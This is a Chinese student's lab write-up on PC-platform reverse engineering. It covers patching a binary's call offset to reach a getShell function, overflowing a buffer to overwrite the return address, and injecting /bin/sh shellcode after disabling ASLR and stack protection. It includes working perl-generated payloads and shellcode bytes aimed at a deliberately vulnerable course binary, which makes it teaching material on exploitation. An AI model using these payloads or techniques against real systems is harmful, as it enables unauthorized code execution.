2020-3-3 20175110王礼博 《网络对抗技术》Exp1 PC平台逆向破解
1.1实践目标
实践的对象是一个名为pwn20175110的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个不会运行的代码片段,getShell,会返回一个可用Shell。
实践的目标就是想办法运行这个代码片段。学习使用两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
- 三个实践内容如下
1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3.注入一个自己制作的shellcode并运行这段shellcode。
这几种思路,基本代表现实情况中的攻击目标:
运行原本不可访问的代码片段
强行修改程序执行流
以及注入运行任意代码。
1.2基础知识
NOP
, JNE
, JE
, JMP
, CMP
汇编指令的机器码
NOP
:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
JNE
:条件转移指令,如果不相等则跳转。(机器码:75)
JE
:条件转移指令,如果相等则跳转。(机器码:74)
JMP
:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)
CMP
:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
常用的Linux基本操作
objdump -d
:从objfile中反汇编那些特定指令机器码的section。
perl -e
:后面紧跟单引号括起来的字符串,表示在命令行要执行的命令。
xxd
:为给定的标准输入或者文件做一次十六进制的输出,它也可以将十六进制输出转换为原来的二进制格式。
ps -ef
:显示所有进程,并显示每个进程的UID,PPIP,C与STIME栏位。
|:
管道,将前者的输出作为后者的输入。
>:
输入输出重定向符,将前者输出的内容输入到后者中。
2.1准备工作
- 使用虚拟机功能中的备用文件夹,将主机中的pwn20175110共享到kali桌面中,由于每次开启虚拟机都需要重新配置共享文件夹,将配置共享文件夹的代码放置如下:
root@kali:~# /usr/bin/vmhgfs-fuse .host:/ /mnt/hgfs/ShareDir/ -o subtype=vmhgfs-fuse,allow_other
,其中ShareDir
为共享文件夹名称,同时将pwn20175110复制在/home目录下,如图所示,保留样本,以便比对。
2.2反汇编可执行文件
- 接着开始反汇编文件,指令为
objdump -d pwn20175110| more
即可浏览反汇编后的文件,按ESC
后输入/getShell
即可跳到getShell这一行,如图所示:
观察分析:main内存地址80484b5,此处调用了foo函数,我们需要在此处修改为调用getshell函数,e8对应的应该是call指令,而后面四个机器指令对应foo函数。
执行文件时EIP寄存器会存放下一条指令的内存地址,而此处的下一条指令是调用的foo函数,因此这里需要将地址进行相对偏移,也就是说下一条指令的地址由内存地址80484ba(截图没有体现出来,就是80484b5下面一条指令)通过80484ba+d7ffffff=8048491变成8048491,所以这里的7d正是偏移地址。
所以要想使call指令调用getshell函数,需要修改偏移地址使EIP寄存器转至getShell函数,即求出804847d-80484b5对应的补码为c3ffffff。
2.3修改机器指令
- 使用vim指令
vim pwn20175110
编辑文件
然后按一下
Esc
键,在当前状态下允许用户输入命令。按:
后输入指令%!xxd
将用十六进制查看文件内容输入
/e8 d7
定位命令位置
- 然后按下回车即可保持定位,然后按
i
进入编辑模式将d7替换为c3即可,然后记得需要转换16进制为原格式,命令为 %!xxd -r 之后输入 wq 保存退出。(注意如果不转换为原格式,会导致该文件不可执行)。
2.4验证实验结果
- 反汇编一下更改过的文件,发现此时main函数第四行确实调用的是getShell函数
- 执行一下修改过后的文件得到shell提示符$(在root模式下运行为#)
3.1实验原理梳理
主函数在调用foo函数时存在缓冲区漏洞,当我们输入过多的字符时,多余的字符就会覆盖掉原本留存在eip寄存器中的数值。而通过人为计算修改字符串可以做到将想要的内存地址覆盖eip寄存器的值,从而使下一步的跳转会转到目标函数
3.2实验步骤
复制/home文件下的样本pwn20175110覆盖桌面上的文件
输入
apt-get install gdb
安装调试功能输入
gdb pwn20175110
进入调试界面,之后输入r
输入内容,确认输入多少字符串后会覆盖到程序的返回地址。先输入一个比较长的字符串,看看程序会不会执行出错。(若输入的字符串小于等于28个字节,那么程序正常运行;若输入的字符串大于28个字节,则会报错)
红框内为5的ASCII码16进制的值,这就说明了当前返回地址是四个‘5’。
- 这次输入字符串 1111111122222222333333334444444412345678再次确认
这里发现字符1234所处的位置会覆盖EIP寄存器,而且以从右至左的方式覆盖eip
3.3确认用什么值并进行构造来覆盖返回地址
寄存器显示时是按照16进制从高位向低位显示,事实上我们的阅读和书写习惯则是从低位向高位,所以需要从右至左每两字为单位阅读。接下来的操作会使这块区域变成我们需要的内容(\x7d\x84\x04\x08)即可实现跳转到getShell处执行代码,实际上我们需要输入的就是 11111111222222223333333344444444\x7d\x84\x04\x08 。由于有些要改写的字符串\x7d\x84\x04\x08的ASCII值里面有无法从键盘读入的字符,这时候需要借助Perl语言来代替我们生成这样符合要求的字符串重定向输出到input文件中,\x0a表示回车,如果没有的话,在程序运行时需要按一下回车键。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
可以使用16进制查看指令
xxd
查看input文件的内容是否如预期。然后将input的输入,通过管道符“|”,作为文件的输入。指令为:
(cat input; cat) | ./pwn20175110
发现实验指令可以成功。
4.1实验准备
- 输入
apt-get install prelink
安装设置堆栈的库并进行相应设置
execstack -s pwn20175110 //设置堆栈可执行
execstack -q pwn20175110 //查询文件的堆栈是否可执行
X pwn20175110
more /proc/sys/kernel/randomize_va_space //查看内存地址随机化的参数
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space
4.2构造payload
首先利用十六进制编辑指令perl构造一个字符串,写入到input_shellcode文件中用作文件执行时的输入。在这段字符串中,末尾的\x4\x3\x2\x1会覆盖到堆栈上的返回地址。
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
接着在终端中注入这一段攻击
buf (cat input_shellcode;cat) | ./pwn20175110
打开另一个终端进行调试
利用
ps -ef | grep pwn20175110
发现进程号为2029输入
gdb
进入调试界面,然后输入attach 2029
调试这个进程
接输入指令 disassemble foo 对foo函数进行反汇编。
利用
break *0x080484ae
设置断点,来查看注入buf的内存地址。要回到刚开始的终端手动回车一下,这样程序就会执行之后在断点处停下来,然后回到调试的终端,输入指令
c
继续。输入指令
info r esp
查看查看栈顶指针所在的位置,并查看改地址存放的数据发现\x4\x3\x2\x1果然出现在栈顶,就是返回地址的位置。由于采用anything+retaddr+nops+shellcode进行构造,所以地址是0xffffd6cc+4=0xffffd6d0
修改攻击代码
perl -e 'print "A" x 32;print "\xd0\xd6\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellode
并将其输入到程序,指令为
(cat input_shellcode;cat) | ./pwn20175110
运行成功,Shellcode注入成功。
本次实验收获颇多,首先初步熟悉了一些linux的指令与操作,在使用方面还需要多多熟悉。其次,通过实验过程深刻认识到了缓冲区漏洞的危害,如果敌手通过漏洞注入Shellcode,那么造成的损失将是不可弥补的。同时联想到大二下的计算机实习,老师反复强调需要验证边界条件,也与缓冲区溢出脱不开关系。通过对汇编语言的运用,重新回忆起操作系统、数据结构和汇编语言中之前学过的知识,需要反复加强。最后,是第一次使用博客写实验,因为生疏,比较费时,希望接下来能提高效率。
6.什么是漏洞?漏洞有什么危害?
我个人觉得漏洞分为两类:一是由编程者编程逻辑不严谨产生的错误。二是因为系统或者软件的机制本身存在不可弥补的缺陷从而有可以利用的漏洞。有漏洞,就会让未授权者有机会破坏计算机,强制安装恶意程序、传播病毒、造成资料的损坏,被窃取,被篡改。会对信息安全造成极大的危害,从个人影响到社会国家的方方面面。
返回目录
最新文章
- $.ajx的用法
- Python中获取异常(Exception)信息
- Java设计模式系列3--抽象工厂模式(Abstract Factory Method)
- JavaScript的学习--正则表达式
- POJ 3984 迷宫问题(BFS)
- Android实例-调用系统APP(XE10+小米2)
- [itint5]合并K个有序链表
- 浅谈数据结构之KMP(串中的模式匹配算法)
- Java并发/多线程系列——线程安全篇(1)
- Android项目实战(五十):微信支付 坑总结
- Android为TV端助力 eclipse出现感叹号的解决办法
- [ Codeforces Round #549 (Div. 2)][D. The Beatles][exgcd]
- 【轻松前端之旅】CSS盒子模型
- spring boot 的使用
- http4e eclipse plugin 插件介绍
- Async异步编程入门示例
- 图论之最短路径(2)——Bellman-Ford算法
- CSS3多列Multi-column布局
- Android 5.0最应该实现的8个期望
- Linux中文件函数(一)
热门文章
- macOS开发:调整NSImage尺寸大小
- 后端开发使用pycharm的技巧
- python使用argparse 、paramiko实现服务器管理器
- hdu1253胜利大逃亡(城堡的怪物太狠,主角难免天天逃亡)
- [最短路,floyd] Codeforces 1202B You Are Given a Decimal String...
- python set() leetcode 签到820. 单词的压缩编码
- 浅析jdbc建立连接方式与背后的java类加载
- python之面向对象性封装,多态,以及鸭子类型
- Java基础语法(11)-面向对象之关键字
- 3分钟学会简单使用Vim